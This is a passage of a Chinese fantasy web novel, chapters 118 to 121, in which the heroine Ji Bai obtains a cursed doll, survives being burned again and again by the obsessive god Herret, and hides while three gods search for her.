他真心爱着季白,自然也想要季白真心爱他一回。 涅塞斯显然也看出了赫瑞特的意动,顿时加大了力度继续蛊惑道:“你不想知道她是不是真的爱你吗?” “说吧,你到底想怎么做。”赫瑞特的声音自带一种满不在乎的慵懒感。 “魔偶。”涅塞斯说,“我很确定,季白接近你的目标是魔偶。” “你用魔偶诱她,若她得了魔偶却不离开你,或是不要魔偶,就算你胜,我与泊里这一世再不会踏入地狱半步,也绝不会再打扰你和小白,若她得了魔偶就如同抛弃我们一样抛弃你,我胜,你就需与我等联手留下她。” “赫瑞特,这个赌约无论你是输是赢,都无半点损失,你,敢不敢?” “激将法?”赫瑞特轻蔑地笑了下,“这样的法子我早就用过无数次了,你用它来对付我?” 涅塞斯的眼神在一瞬间变得无比危险,“你是不肯了?” 若赫瑞特坚决不肯与他们合作,他也只能先与泊里强行夺过季白,再慢慢与赫瑞特商量。 只是…… 涅塞斯想到他看见的东西,以及那股奇怪而强大的力量总是让他不安。 涅塞斯没有告诉他们的是,他所看见的未来失败的结局有千千万万,可成功的结局只有一个。 还是一个…… 两败俱伤的结局。 他知道他和上一次一样强求了,这种危险而又紧张的感觉他已经很久很久没有体验过了。 只要有一个不慎,他的下场……绝对比任何人都要惨。 但他并不害怕。 寻常人在提前预知到灾祸时会想办法避开,会终日惶惶,可他却很期待,甚至会主动走向毁灭。 他始终觉得上天赐予他预言的能力就是想让他看见未来,并改变未来。 上次那般艰险,他不也成功做到了吗? 这一次他也一定可以留下季白。 师父,明明当初是你先伸出手邀请我,是你一点点的教会我,怎么能说不要我就不要我呢? 赫瑞特转了转手指上的扳指,抬眸反问道:“你说的世外之人,你见过吗?” 涅塞斯愣住了,但随即就意识到赫瑞特是心动了,因而立即答道:“我没有见过。” “但我曾听见他的声音。” “听见他的声音……”赫瑞特垂下眼眸,低喃着,“是什么样的声音,男人还是女人,他们在说什么,小白……和他的关系很好吗?” 赫瑞特虽然是在低声自语,但在场之人无不耳聪目明,因而将他的话听了个清清楚楚。 泊里缓缓睁开闭上的眼睛朝涅塞斯看了一眼,其实他在第一次听说季白身边有世外之人时,也想要问问涅塞斯这些问题,但他…… 他不好意思。 他始终放不下他光明神的架子,不愿让涅塞斯以为他是一个小肚鸡肠,不顾大局的神明。 今日赫瑞特竟阴差阳错地问出了他想问的问题。 涅塞斯:…… 他以为赫瑞特是终于想通了,敢情他只是吃醋。 涅塞斯回想起他几次听见的奇怪声音,嘴角的笑意深了深,故意道:“是男人,言语间并不亲密,但听得出来小白很是信任对方,对他的话言听计从。” 涅塞斯说到这儿还故意旧事重提用以刺激赫瑞特。 “小白是不是曾骗你说是为了你要去取泊里的永恒之冠?”涅塞斯温声道,“其实是那世外之人让小白做的。” “从他们的对话中,我可以推测出那世外之人一直跟在小白身边,甚至……在你与小白亲密时,他也未曾离开。” 涅塞斯每说一句,赫瑞特的呼吸就急促一分,待他全部说完,他已是气得面色通红。 他和小白亲近时,他也在吗? 他只要一想到小白那幅模样也曾被另一个男人欣赏就气得恨不能杀了全世界所有的人。 对于赫瑞特的气愤,涅塞斯很满意。 他唇角又挂起一抹势在必得的笑意。 “怎么样,要不要和我们赌一把?” “好啊,我答应你们。” 这一次,赫瑞特干净利落地应下了。 季白的心顿时立了起来,快要不能呼吸,她立即召唤出武器捏在手中,谨慎地一步一步走了过去。 可等她转到玉雕身后时,她刚刚看见的眼睛却又不知所踪了…… 季白不敢掉以轻心,警惕地环顾四周而后又返回了刚刚发现奇怪眼睛的位置,这一次从玉雕的缝隙可以清楚得看见对面的墙壁,好似刚刚是她眼花了一样。 季白转过身继续往里走,身后又忽而传来凌乱又急促的脚步声,像是有个小孩从她身后跑过去了。 118 第118章 季白不做犹豫立即转过身去,世界却在一瞬间变得无比寂静,脚步声消失不见,唯有她越发急促的呼吸声不断地在她耳边萦绕,吵得她心慌意乱。 等等! 季白的身子顿时僵在原地,耳边的呼吸不止是她一个人的。 这里,还有第二个人。 清浅的冷风拂过她的耳畔,似是有一个调皮的孩子对着她吹冷风一般,她的心脏顿时止不住地狂跳。 不用回头,眼珠微微向后转,视线里就出现了一张死白的脸与一双没有瞳孔的死鱼眼。 那双全是眼白的眼睛好似在看她,又好似是再看房间里的任何一个角落。 季白吓得抬手就要去打,却见它拉扯着殷红的唇挤出一个极为扭曲狰狞的笑容,尖锐而又阴寒的笑声在她耳畔响起,听得人毛骨悚然。 她发动的攻势还没落在它身上,它的身影就如鬼魅般消失不见了。 季白警惕地环绕了一圈,却始终没发现它的踪迹。 那东西会是什么? 季白回想起它的模样,脑海中突然炸出一个惊人的想法,那玩意该不会是她要找的魔偶吧? 看它的样子确实像极了恐怖电影里的玩偶,但黑暗神的东西会这么容易就找到吗? 季白心中有些打鼓。 【系统,刚刚的东西是不是我这次要找的魔偶?】 季白问完后等了许久也没等到系统的答复,自从进了这个副本,系统十次有九次都是不说话的,也不知道它去做什么了。 得不到肯定的答案,季白也只能用最蠢笨的方法——抓住它看看。 若显示任务完成,她就猜对了,若任务未完成她就当消除潜在危险了。 季白打定主意要抓住它后,心中的恐惧也逐渐消散了。 这间房很大,东西也堆得多,因而就显得空间狭小难以过人,季白刚从一座金像与红珊瑚中艰难地挤出去,耳边又突然传来小孩子尖刻的笑声,那笑声越笑越凄厉,吵得人脑仁疼。 季白循着声音抬头向上看去,就见金像顶上趴着一个面容诡异的玩偶,它的肌肤似是用石膏制成,又像是雪,总之白得刺眼,四肢短小却很精巧,关节连接的地方透着刺目的红。 那张脸转向季白,没有瞳孔的眼睛直勾勾地对着季白看得人心里发毛,忽而,它笑声一顿,紧接着眼中毫无征兆地流出血泪,古怪恐怖的它看上去越发阴森诡谲了。 季白却半点也不怕了,抬手挥舞魔杖朝它释放出禁锢魔咒。 清新的绿色魔气从她的魔杖中泄出,化作一个密不透风的网就朝它扑了过去。 这魔咒是涅塞斯曾经教过她的,她也曾偷偷试过,威力无比强大,又加之她的体内有一部分的神力做为加持。 这一击,季白确定就算是涅塞斯来了也会有一瞬间的停顿,抓住一个小小的魔偶还不是手到擒来? 然而让她意外的是,她这一击对于这怪物来说却半分作用也没有。 它的身体径直穿过魔网,好似她放出的禁锢魔咒对它而言只是一团空气,它速度极快,季白还没反应过来就被它沉重的身子砸到了头。 季白顿时只觉眼前一片血红,头晕目眩地栽到了地上,眼前的世界被红色浸得血红。 突然,一张死白的脸趴在她的眼前,它张开了长满尖牙的嘴朝她扑咬过来,顿时撕咬般的刺痛疼得她浑身发抖。 它……它在啃咬她的脸。 季白拼命地想要挣扎,可刚刚的那一砸已经让她彻底失了力气,她只能眼睁睁地听着牙齿磨咬骨头的咔嚓声,很快,她连痛也感知不到了。 世界彻底陷入了黑暗。 季白好似做了一个很长很长的梦,她看见梦中的自己在海边遇见一条害羞又漂亮的小鱼。 小鱼呆呆傻傻的,许多事都不懂,但又实在漂亮可爱,她忍不住起了怜惜之心,有事没事就去海边找他,她教他如何反抗欺负他的人,教他如何变强,教他一步步从边缘的小鱼走上了王位。 小鱼哪哪都好,就是有点太粘人了。 她不喜欢。 亲手浇灌的花已绽放出了最美的姿态,这场意外的养成游戏也该结束了。 在一个风和日丽的下午,她坐在海边的礁石晃着脚丫和小鱼说,“你长大了,已经可以独挡一面了,以后的日子师父就不陪你了。” “师父要抛弃我?” “不是抛弃,我永远是你的师父,不过,世间无不散之宴席,我已经没有什么可以教你的了。” 她想了想从怀中取出一颗蓝色的珠子递给他,“这是我送你的临别礼物,你想我的话可以对着它说话,我会听见的。” “好啦,别哭丧着脸,我又不是不回来了,我答应你,以后还会回来看你的。” “好。”海浪溅起的水花遮掩住他的眼泪,“我等着师父回来找我。” 后来,她再没有回过那片海。 她是一个三分钟热度的人,无意中遇见的小鱼早就被她忘到九霄云外去了。 后来,听说神界出现了一位新的神明,他容颜俊美,脾性温和,掌管海域,善预言。 季白蓦地睁开眼睛眼前依旧是华贵无比的藏宝室,巨大的金像在她眼前闪闪发亮,然而头顶却没有了魔偶的身影。 季白回想起她晕倒之前所发生的一切,立即抬手去摸她的脸,入手是无比光滑且平整*的肌肤,并不是她想象中的被魔偶啃食得不成人形。 季白顿时松了口气,把手拿下来确认脸上没有流血后也就不再管她的脸了,而是警惕地环顾着四周的情况。 魔偶比她想象中的还要难以对付,季白一面复盘着刚刚的失利,一面快速从地上爬起来,准备去里面找找魔偶的踪迹。 结果,她刚要迈步,脚下就踩到一个不知名的东西。 “啪叽”一声重重摔到了地上,摔得她龇牙咧嘴,满脸通红,她一边哼哼唧唧地拉扯着蓬松而又累赘的裙摆,一边在心里骂骂咧咧地骂赫瑞特。 她原本的衣服明明轻便又方便,非要给她换上繁复又行动不便的大摆裙,害得她还没走就摔一跤。 季白忍着痛从地上爬了起来,接连的失利气得她忍不住一脚把刚刚绊倒她的东西踢出去了好远。 那东西被踢得从她的裙摆中一下子窜出去好远,随后重重撞上了金像,又反弹了回来撞在季白的裙摆上。 季白随意瞄了一眼,原本打算把它再次踢开,可在看见那张苍白诡异的脸时,一下子愣住了。 它……好像魔偶。 苍白的脸上嵌着两颗白色的眼睛,无论是脸还是四肢都与刚刚的魔偶一模一样…… 季白先用脚尖轻轻碰了碰它,见它毫无反应后,壮着胆子弯腰捡起它。 魔偶刚握进手中,眼前就弹出了一个任务栏,关于黑暗神赫瑞特的任务显示已经全部完成。 季白心中大喜同时又带着几分不可置信。 她想要的魔偶这么容易就得到了? 睡一觉醒来任务就完成了? 季白总觉得这件事透着几分古怪,但她也顾不得多想,反正东西已经拿到了,是时候溜之大吉了。 季白忍不住再次庆幸幸好她有系统给她的隐形帽子,不然以这次副本的难度,别说五年了,怕是五十年都难以完成。 她立即脱下身上这件累赘的裙子,换上方便行动的衣服裤子,然后就趁着赫瑞特还没回来的功夫立即将隐形帽子从空间中取出来戴在头上。 她刚松开戴帽子的手,手腕就被一双滚烫的手抓住了。 季白立时屏住呼吸,转过头去就看见了不知在何时立在她身后的赫瑞特。 他是什么时候来的 他该不会一直没走,在旁边观察着她吧? 季白好似突然明白为什么自己一觉醒来魔偶就会出现在她的脚边,是赫瑞特做的吗? 可他怎么会知道她需要魔偶? 她从来没有在赫瑞特的面前提起过这两个字…… 季白只能往好的方面想,或许……或许是赫瑞特回来时正好看见她被魔偶所伤,因而就替她报了仇把打回原型的魔偶扔到她脚边给她赔罪? 她脸上本应该是有伤的,晕倒前的血色不会有错,可醒来时身上却连一滴血也没有,想来是赫瑞特悄悄帮她处理了。 季白如此乐观地想着,可当她的眼神触及到赫瑞特的眼神时,所有的幻想都被击破了…… 她从未在赫瑞特脸上看见过如此可怕的神色,不单单是愤怒,而是一种难言的心碎,绝望不甘与癫狂。 “你要去哪?”沙哑而低沉的声音从他诱人的红唇中吐出,不住滚动的喉结好似在压抑隐忍着澎湃而汹涌的情绪。 季白沉默不语,打算偷偷离开。 可这一次她却发现自己的胳膊被他死死抓着,让她难以逃离。 “我知道你在。”赫瑞特又问了一遍,“你要去哪?” 季白打定主意是一句话也不说,就和赫瑞特耗着。 如果她现在开口定会被他抓住,想逃都逃不掉了。 “以为不说话,我就没办法了吗?”赫瑞特低低的笑着,可逐渐的他的笑声越来越大,越来越尖刻,好似是一个走入末路的疯子。 “你的神器可以隐形,那能防火吗?”他的掌心涌出炙热的蓝色火焰,仅仅是小小的一团就使周围的空气变得无比燥热。 “宝贝,我们一起死在这儿吧。” 119 第119章 赫瑞特手中的火焰顿时炸开,四溅的火星在转瞬间就点燃了周围的一切,黄金在火焰下融为流动的金色液体蔓延到季白的脚边。 空气变得无比燥热,令人难以呼吸,燃起的火舌很快就席卷而来,身上的衣服在顷刻间就化为了灰烬,脚上的鞋也因地板的温度而溶解。 好烫,好疼,好冷。 火焰刺扎着她的肌肤,带来钻心般的疼痛,想要张开嘴缓解,可无处不在的灼热又顺着张开的嘴涌入她的体内,灼烧着她的喉管,连带着五脏六腑都燃烧起来了。 身体的疼痛已经到达了极限,可意识却还是清醒的,甚至没有哪一刻比现在还要清醒,她疼得恨不能一刀捅死自己结束这一切。 耳边是火焰炙烤血肉的滋啦声,鼻尖甚至闻到了肉香,粗喘着转动脖颈,只听“咔擦”一声,熟透的人头滚了下来,赫瑞特的身体同样被火焰所焚毁化为焦黑的肉干,衣服上闪闪发亮的宝石与他的血肉融为一体。 季白很难想象自己居然还保有意识,如果是现实世界,尸体烧成这样早就死得不能再死了。 或许……就算是现实世界刚死去的人也是保有意识的,只是他再也不能对别人张口表达他的感受。 疼痛仍在继续,她的意识终于摇摇欲坠的消弭似是要永坠黑暗,刚刚还在期盼着用死亡终结痛苦的季白,心中又突然涌起一种慌乱与害怕。 她不想,不想就这么死去。 视线一点点地被黑暗所侵染,在沉沦黑暗的最后一秒前,季白的目光对上一只巨大的散发着绿光的眼睛,只是一眼,就让季白生出想要挖去双目,臣服在它脚边的冲动。 意识彻底被黑暗所笼罩,季白仿佛坠于无边深渊,一切感知都不存在,她也不存在…… 赫瑞特站在冲天的大火中,眼底映照着红彤彤的火焰,可绿色的瞳孔却紧盯着……面前的空气。 季白忽而回过神来,大口大口地喘着气一抬头就对上赫瑞特幽绿的眼眸,熟悉的火苗又一次卷上她的衣摆,胳膊上又传来熟悉的疼痛。 她……她不是已经被烧死了吗,怎么会又回来了? 耳边传来赫瑞特低沉而又缓慢的声音。 “还是不肯和我说话吗?” “想要再体验一遍吗?这一次……可是真的会死哦。” 这一次火焰席卷的速度慢了下来,似是要一点一点地折磨她一样。 “很疼吧?”赫瑞特说,“只要你现身告诉我,你要去哪,我就放过你。” “我也不想伤害你,可是……”赫瑞特的声音忽而变得尖利,“可是你为什么又要骗我!为什么?!我对你还不够好吗?和我一起留在这儿不快乐吗?” “你明明……”赫瑞特低声呢喃着,“你明明很喜欢的啊。” 他忽而又大笑起来,笑得眼泪都出来了。 “我说了这么多,你还是一句话都不想和我说吗?” “留在我身边就那么痛苦吗?宁愿烈火焚身,也不愿求我一句?” “你是不是……”他的声音又变得很轻,眼睛却用力瞪着面前的空气,似乎是想要清楚地看清季白现在的模样,现在的神色,然而任他如何努力,眼中也只有熊熊燃烧的火。 他像是一个疯子,在大火中对着空气又哭又笑,又吵又闹。 她为什么可以这么冷漠,她为什么可以永远这么冷漠地看着他,她只要肯为他疯狂一次,他就会毫无怨言地为她去死。 可是没有,一次也没有。 所有的热情,所有的亲密与温存都不过是他用卑鄙的手段强求而来,全都是自欺欺人的谎言。 她好奇的接近又决绝的离开,从始至终,只有他一个人当了真。 “是不是很讨厌我,很恨我,恨我恨到恨不能将我抽筋扒皮?” 季白眼下强忍着痛苦,根本无暇顾及赫瑞特的发疯,浑身的皮肉被火炙烤着,痛得她一句话也说不出来,不过,就算能说得出来,季白也不会现身对他求饶。 常人难忍的痛苦与折磨反而激发了季白心中某种不服气的斗志,如今上头的她,脑海中只有一个想法。 赫瑞特有种今天就弄死她,他今天弄不死她,她早晚要报这个仇。 “恨我吧,恨我也好,恨我也比忘了我要强。” 赫瑞特低低的呢喃声在充满火光的房间里回荡,又一轮被火炙烤的疼痛袭来,一次又一次好像陷入了某种走不出的轮回。 季白恍惚间觉得自己像是被上帝罚入地狱永生永世被烈火折磨的恶魔,可她不是恶魔,给她惩罚的人也不是上帝。 赫瑞特的精神状态一次比一次的疯癫,他不敢相信,会有人能抵抗住烈焰的折磨。 她平时是那么怕疼的人,为什么宁愿被火一次次的烧死也不愿现身和他说一句话呢?他就那么惹她厌倦吗? 是啊,季白那么怕疼的一个人,赫瑞特却忍心一次又一次地用火焰来折磨她。 他说爱她,可他的行为却在一次次地伤害她。 赫瑞特墨绿的眼眸留下泪来,当眼泪落地的那一刻,房中的火焰在顷刻间就全部熄灭了,只余留一地狼藉。 季白就连睁眼的力气都没了,可她还是站得端端的。 哪怕赫瑞特看不见她,她也不想就这么趴在他面前认输,她以一种让人难以理解地倔强站在原地。 她有时怕死有时不怕,有时灵巧有时又倔得十头牛都拉不回来。 “这么讨厌我吗?”赫瑞特不甘心地低声问,“留在我身边就一点也不快乐吗?” 回答他的仍然只有一室的寂寞。 赫瑞特轻笑了两声,身子微微晃了晃,似是与季白一样被透支了所有的力气。 没有声音就是最好的答案,他懂了,她……不快乐。 这个答案如石头般压在他的身上,他缓缓闭上眼睛,心快要不能呼吸。 他从来都不是一位人类眼中温良慈悲的神明,他性子恶劣,他知道,他喜欢玩弄别人,他知道,他喜欢撒谎喜欢恶作剧,喜欢所有一切能带来乐子的事物。 追求快乐,享受快乐,是他的神生信条。 可在遇见季白后,他所有的快乐都与她挂钩,她看他一眼,他快乐,她打他,他快乐,她骂他,他也快乐。 他所有的喜怒哀乐因她而改变,他渴望看见她,渴望看见她的笑,渴望看见她因他而开心。 每一次的亲吻,拥抱,上床都是能把他推向顶峰的快乐。 很久以前爱情神告诉他,喜欢一个人就是发自内心地想把世间最好的东西献给她。 世间万物都是浮云,对于神明来说名望权利唾手可得,珍宝奇珍如泥如沙,他想来想去,觉得他能献给她的只有快乐。 可她……不快乐。 不快乐到宁愿承受烈焰焚身的痛苦也要离开。 他是一个自私的神明,可这一刻……他却想放她走了。 如果这个世界留给她的只有无尽的痛苦与折磨,他愿意放她离开去另一个世界寻求她想要的快乐。 赫瑞特握住季白手腕的手缓缓松开,每一个字都说得无比艰难。 “好,我放你走,我放你走。” 他松开手后,又转过身去,闭眼骂道。 “要走就快点滚,你以为你是谁,你以为我就非你不可吗?呵,不知有多少人喜欢我,爱慕我,巴不得做我的狗。” “我不稀罕你!”赫瑞特说着单手握拳重重向下砸了一拳,脚边的地板瞬时被砸出了一个洞,“你给我滚,下次……再见到你,我一定杀了你。” 身后许久都再没有人说话,赫瑞特缓缓转过身来看着一室的狼藉,他不知道季白走了没有,或许她还留在房间看着他。 赫瑞特想到这儿,嘴角忽而扯出一抹讽刺的笑。 她巴不得快点离开这儿,又怎么可能还会留下呢? 他垂眸看着脚下被凿开的黑洞,费了好大的力气才克制住想要去找季白的冲动,他嘴上说得那样的狠,其实也不过是掩盖他的绝望与心碎罢了。 他稀罕她稀罕到不得了,他巴不得去给她当狗,可是她不要。 赫瑞特站在原地喘了喘气,默默计算着时间,他愿意放她走,可泊里与涅塞斯定不会放过她。 没过一会,答应在深渊边等待赫瑞特的泊里与涅塞斯顷刻间就出现在了赫瑞特面前。 “出什么事了?”涅塞斯环顾一圈被烈焰焚烧过的房间,微微挑眉问,“她也给你放了把火?” 泊里环视一圈没见到季白的身影,再看赫瑞特这幅如丧考妣的神色就知道季白逃了。 他冷嗤一声,讥讽道:“你不是说你一定能抓住小白吗?吾当你有多厉害,原来也不过如此,还是让她逃了。” 赫瑞特抬眸看了泊里一眼,冷笑:“是,我不厉害,我让她逃了,那厉害的光明神大人不也没能留下她吗?” 泊里一听赫瑞特提起这事,就气得恨不能咬碎银牙。 “当初若不是你给了小白神器,吾焉能让她逃走?!” 两人你一句我一句吵得不可开交,涅塞斯却看出了几分问题。 他上前打断了两人的争吵走到赫瑞特面前,别有深意地笑问: “小白当真是逃了,不是……被你放走的吗?” 120 第120章 赫瑞特一松手,季白就用尽全身的力气拼了命地逃了。 烧焦的皮肉被拉扯得渗出血,骨头缝里都透着疼,每走一步就好似是在用千千万万密密麻麻的针在扎她的身体一样。 可她一步也不敢停,一口气跑出了古堡,直至这具破败的身体再也承受不住她的重量,“咔擦”一声腿骨从中断开,季白身子一歪,一头栽进了花丛里。 熟悉又浓郁的花香直往季白的鼻孔里钻,季白回想起往日因花香而坠入的情欲,努力屏住呼吸试图隔绝这股味道,然而无处不在的花香还是透过肌肤,透过鼻子与口腔钻进了她的体内。 神奇的是,季白这一次并没有感受到任何不该有的异常与燥热,相反身上的疼痛竟缓缓消弭了。 她喘着气看着头顶如血色般的夕阳,心中升起一抹劫后余生的喜悦。 赫瑞特……她想到他的疯癫与偏执,想到他最后松开她手时的泪。 她感谢他最后放了他,但也绝不会忘了他先前给她的伤害。 “被我放走?”赫瑞特挑眉冷笑,“涅塞斯,我是疯了吗?我怎么会亲手放走我亲爱的人!” “我可从来不是什么圣母角色。” 泊里看了眼涅塞斯又打量了一圈周围的环境,随后淡淡道:“涅塞斯,你是不是想多了,他可是抱着骨头就不撒手的狗,让他放手,还不如让狗戒了吃屎。” 泊里说到这儿,又讥讽地看了赫瑞特一眼。 “他啊,纯粹就是没用的废物,所以让小白跑了。” 赫瑞特冷笑。 “是,我让她跑了,你们守在外面也不见有多厉害,她刚走没多久,肯定没出地狱,有本事你们现在把她找出来啊。” 泊里的金眸闪了闪,压着声音说:“与其同你做无用之争,不如先去找人。” 涅塞斯垂下眼帘,没有说话。 他总觉得这事有古怪,当时季白就在他们眼前,是赫瑞特说要回去抓住她,还说在送出来之前有话同她讲,让他们先不准监视,安心在外等着就是。 结果十拿九稳的事竟也出了差错,实在是让人费解…… 可一时间又没有证据,与其费力争论,不如先合力抓住季白。 至于赫瑞特,暂时得先防着他点,关键且重要的事不能再让他碰了。 破碎的身体在以一种极为诡异的姿态快速恢复着,身体里涌出丝丝缕缕嫩绿色的枝条将她包裹着,乍一看像是一棵人形的树在快速抽芽生长,旧的骨头被新长出的骨头排挤出体内,随后又快速生长出新得血肉。 整个恢复生长的过程比季白被火焰摧毁时还要痛,赫瑞特的火焰带给她的是由外到里的痛,而眼下的痛则是从内生出来了。 等一切恢复平静时,季白大汗淋漓地仰躺在花丛里粗喘着,整个人好似已经死过一次了。 她抬起放在腿边的手,却因抽动的速度太快,只觉手背蓦地一疼,就瞧见一道刺目的伤痕,伤口划得不深,但也渗出了血。 彼岸花无论是花茎还是花瓣都十分柔软,正常情况下根本不可能割破人的手指。 季白伸手摸了摸明显不太正常的指甲,就发觉这指甲软得吓人,就像新出生的小婴儿。 这具身体虽然已经在神秘力量的帮助下恢复了正常,但却如同初生婴儿般弱小无力,她甚至感觉自己连最简单的抬手动作都好似用尽了她全部的力气。 她不知道她还要再等多久可以恢复正常,但她的时间不多了。 赫瑞特虽然一时放过了她,但他的性格向来多变狡诈,说不定什么时候就后悔了。 季白这么想着,咬了咬牙就准备爬起来先离开这儿,结果她这一咬却发现自己的牙齿也是软的。 季白立时松开了牙,气笑了。 等她成功完成这次任务,一定要把该死的系统痛揍一顿,简直太不负责任了,把她往这儿一扔就不管她了。 之前的副本话倒是很多,现在是一句话也不说,问也一点反应都没有。 要不是任务栏的任务一直在更新,季白都要怀疑她是不是被系统抛弃了。 季白刚艰难地扶着地坐起来,就突然感受到身后有一阵诡谲的风吹过,她回眸一看就蓦地瞪大了眼,恨不能自己当场晕过去。 她刚刚的想法还是太乐观,她想的是只有赫瑞特来抓她,结果这下好了,她招惹过的男主全都来了。 泊里,涅塞斯,赫瑞特…… 她想要立马从这儿逃走,可身子却半分力气也没了,单是坐着就已经让她累得想要倒头就睡了。 泊里冰冷的衣摆从她的面前拂过,季白屏息以待,大气都不敢喘一下,心里不断默念着看不见我,看不见我。 可泊里的脚步却突然停下了,季白的心脏都揪在了一起,不会吧……她不会被发现了吧? 先前单是赫瑞特与涅塞斯就折磨得她痛不欲生,哦,对了,还有泊里赐给她的心绞痛,也是痛得她死去活来。 如今他们三个神一起来,季白还不如死了算了,至少不用受折磨了。 泊里转过头来,目光好似穿过大片大片的彼岸花落到季白藏身的地方,季白紧张地手指都蜷缩在一起,脑子飞速想着办法。 如今涅塞斯是一心想要杀掉她,泊里也曾在海底掐着她的脖子要让她转世重来,唯一可以信任的赫瑞特又被她得罪的死死的。 这局面怎么看都是必死的局面。 不过……季白捏了捏指尖,他们三人的关系未免也太好了吧?前两个副本中的男主们对她身边的其他男人可是恨得牙痒痒,可他们三人却能一起行动。 季白想到这儿,好似又突然联想到了什么,嘴角扯出一抹冷笑。 他们当然关系好了,毕竟都是曾经杀害过她的共犯。 季白嘴角的笑意还没来得及收敛,眼前就突然出现泊里放大的脸,近到她甚至能感受到他吐出来的热息,她吓得立即往后一躺,心脏砰砰直跳。 被发现了吗? 季白强忍着紧张放缓了呼吸,可很快她就发现泊里并不是在看她,而是在看她身边的一株花。 泊里动作轻柔地摘下那朵花,指腹轻抚,淡声道:“上面的血还热着,小白刚走没多久。” 季白瞳孔猛地一震,想起了她被花划破的手掌,她低头看了眼自己的手,伤口竟然已经愈合了。 看来这具身体虽然很弱,但恢复能力却出奇的好。 季白的心稍稍定了定,这么近的距离泊里都没有发现,只要不出来意外她应该可以苟到他们离开。 季白这么想着就抬手把自己头上的帽子戴得紧了点,只要帽子不掉,就万事大吉。 涅塞斯上前一步接过泊里手中的彼岸花,他一靠近季白就在一瞬间感受到了一股独属于深海的寒凉,后背蓦地起了一身鸡皮疙瘩。 “小白受了伤,定然不会走得太远。”涅塞斯轻嗅着花上的气味,一字一句地说出让季白无比惊恐的话,“或许,她还留在这儿。” 一旁的赫瑞特并不和他们一起讨论,而是独自一人站在一边把玩着手里的彼岸花,好似并不关心季白的下落一样。 只是他的余光会时不时往季白的方向扫上一眼,好似他能感知到什么。 “还在这儿?”泊里大惊,随后闭上眼睛感知季白的方位,可无论他如何努力他所能找到的最后地点也只有这里。 确切的说是涅塞斯手中沾染了季白鲜血的花。 季白听着他们的谈论是一动也不敢动,眼前的泊里站在离她一步远的地方,身后的涅塞斯则站得更近了,甚至他的衣角会时不时地拂过她的脸带来阵阵痒意。 季白觉得自己像是变成了夹心饼干里的夹心。 涅塞斯知晓泊里不擅此道因而对他的查探不抱任何希望,而是转过身看向赫瑞特。 “赫瑞特,你最擅隐匿,你可有感知到季白的下落。” 赫瑞特指尖轻轻一弹,正在手中把玩的彼岸花就朝空中飘去,下一瞬,花瓣在半空中炸开,各自借着风力朝远方飘去。 涅塞斯直等到花瓣飘落不见,方低声询问:“找到小白的下落了吗?” 赫瑞特摇头。 “没找到。” 涅塞斯皱了皱眉,朝花瓣飘远的地方看了一眼。 “那你刚刚是在……?” 众神都知晓涅塞斯擅隐蔽也擅追踪,但没人知道他如何追踪别人,涅塞斯只当赫瑞特刚刚是在施展他独门的追踪术。 赫瑞特咧唇一笑,“哦,是我无聊随便打发时间的。” 涅塞斯险些一口气提不上来,若非还有用得上赫瑞特的地方,他真的很想转身就走。 这家伙一定有问题,他不是想独占季白就是有意放走季白。 不然,在别人都在用心找寻的时候,他却不慌不忙。 泊里睁开眼睛轻嗤一声,“涅塞斯,吾都说了,指着他这个废物什么事也干不成。” 季白眼看他们要吵起来,顿时眼睛一亮。 她巴不得他们打个你死我活,她好趁机离开这儿。 赫瑞特懒洋洋地应道:“我是废物,那你们又是什么?除了这儿,你还能感应到季白的下落吗?” 赫瑞特讥笑一声,“大家都是废物谁也别说谁。” 眼看他们又要吵起来,涅塞斯恨不能一人给他们一鱼尾,他深吸一口气,再次制止道:“好了,别吵了,不要忘了我们的目的。” 泊里眼眸沉了沉,不说话了。 赫瑞特也见好收,却又像有意气泊里一样,嘴里还哼着不知名的小曲。 涅塞斯强压心中怒火,问:“赫瑞特,我们大家都知晓你隐匿的本事,我们三神中也唯有你能察觉到季白的下落了。” “可你一句轻飘飘的没找到就想把我们糊弄过去,是不是过于敷衍了事了?” “难道这种时候你还想着独占吗?” 120-130 121 第121章 季白转过头看向赫瑞特,他脸上的神色依然是满不在乎的样子,似乎对涅塞斯的话完全不在意。 “既不信我,又何必问我?”赫瑞特懒洋洋地说,“与其我们三在这儿猜来猜去不如各自为战,谁找到就归谁。” 泊里金色的眸子微微亮了亮,但他没有立刻接话,只是有些意动地捻了捻手指。 涅塞斯敏锐地察觉到泊里的动摇,立即反驳道:“各自为战?我们先前不是各自为战吗?结果也看见了,谁也没得了好,二位,当务之急是找到小白,想办法斩断她与世外之人的连接并留下她。” “只要能将小白留在这个世界,以后的时间还长着呢。” 季白听到这儿,心蓦地跳了一下,她不可置信地回眸看向涅塞斯那张温和而又漂亮的脸。 他嘴中的世外之人是指谁,系统吗? 他怎么可能感知到系统的存在,涅塞斯到底知道了多少? 季白瞬间有一种自己被看穿的不安感。 难怪自打系统进了这个副本后就一言不发,原来是怕被男主们发现。 季白咽了口口水,默默离涅塞斯远了一点,她怕下一刻涅塞斯的尾巴就会突兀地缠住她的腿将她拖入深海溺死。 季白在移动间忽而感觉自己身上的力气有所恢复,虽不如之前有力气,但已经拥有了一位正常人类女子该有的力气。 季白不做犹豫,立即悄悄起身远离他们,一步两步,直至走出了十几米远后,季白方放开胆子狂奔起来。 身后隐约传来他们的商讨声,泊里要赫瑞特封闭地狱将季白困住,他们再慢慢找,赫瑞特如何回答泊里,季白却有些听不清了。 这片花海大得惊人,季白觉得自己已经跑了很远很远,可她仍然看不见花海的尽头,头顶是血色的夕阳,脚下是血色的花海,天与地好似连接在一起成了一个包裹她的圆圈。 没有出口,没有尽头。 忽而,迎面吹来一阵大风,刮得季白险些跌倒,她刚站稳突然感觉头上一凉,抬眸一看帽子竟然被风刮起来了。 季白吓得转过身就去抓帽子,刚手忙脚乱地把帽子戴好,就抬头看见本被她甩在身后的三神如鬼魅般突然闪身突到她的脸上,吓得她的心差点跳出来,简直像是看了一场现场版的真人鬼片。 “我感受到季白的气息了。” “是在这儿。” 涅塞斯伸出手感应着风中的气息,良久,方收回手轻声说:“是风,是风让小白泄露了行踪。” 季白心头一紧,紧紧抱着头顶的帽子一动也不敢动,在某种程度上涅塞斯竟然猜对了,要不是大风吹动她的帽子,她也不会又被他们发现。 “风吗?”泊里是行动派,他一抬手就召唤出比刚刚还要猛烈的大风,一瞬间彼岸花被吹得拔地而起,漫天飞舞着红色花瓣。 吹得季白两脚都要离地了,她连忙四处观瞧想找个掩体躲避,可这儿除了花以外就是格外平整的地面,别说找一块凸起的石头就连条缝也没有。 季白左看看右看看,最后将目标锁在了泊里的身上,他是三人中最强壮者,那身板顶季白三个都绰绰有余,如果能躲到他的身后定能平安无事。 季白这么想着就小步小步地挪动着,可这风实在太大了,有好几次季白都被吹得往后倒退了几步。 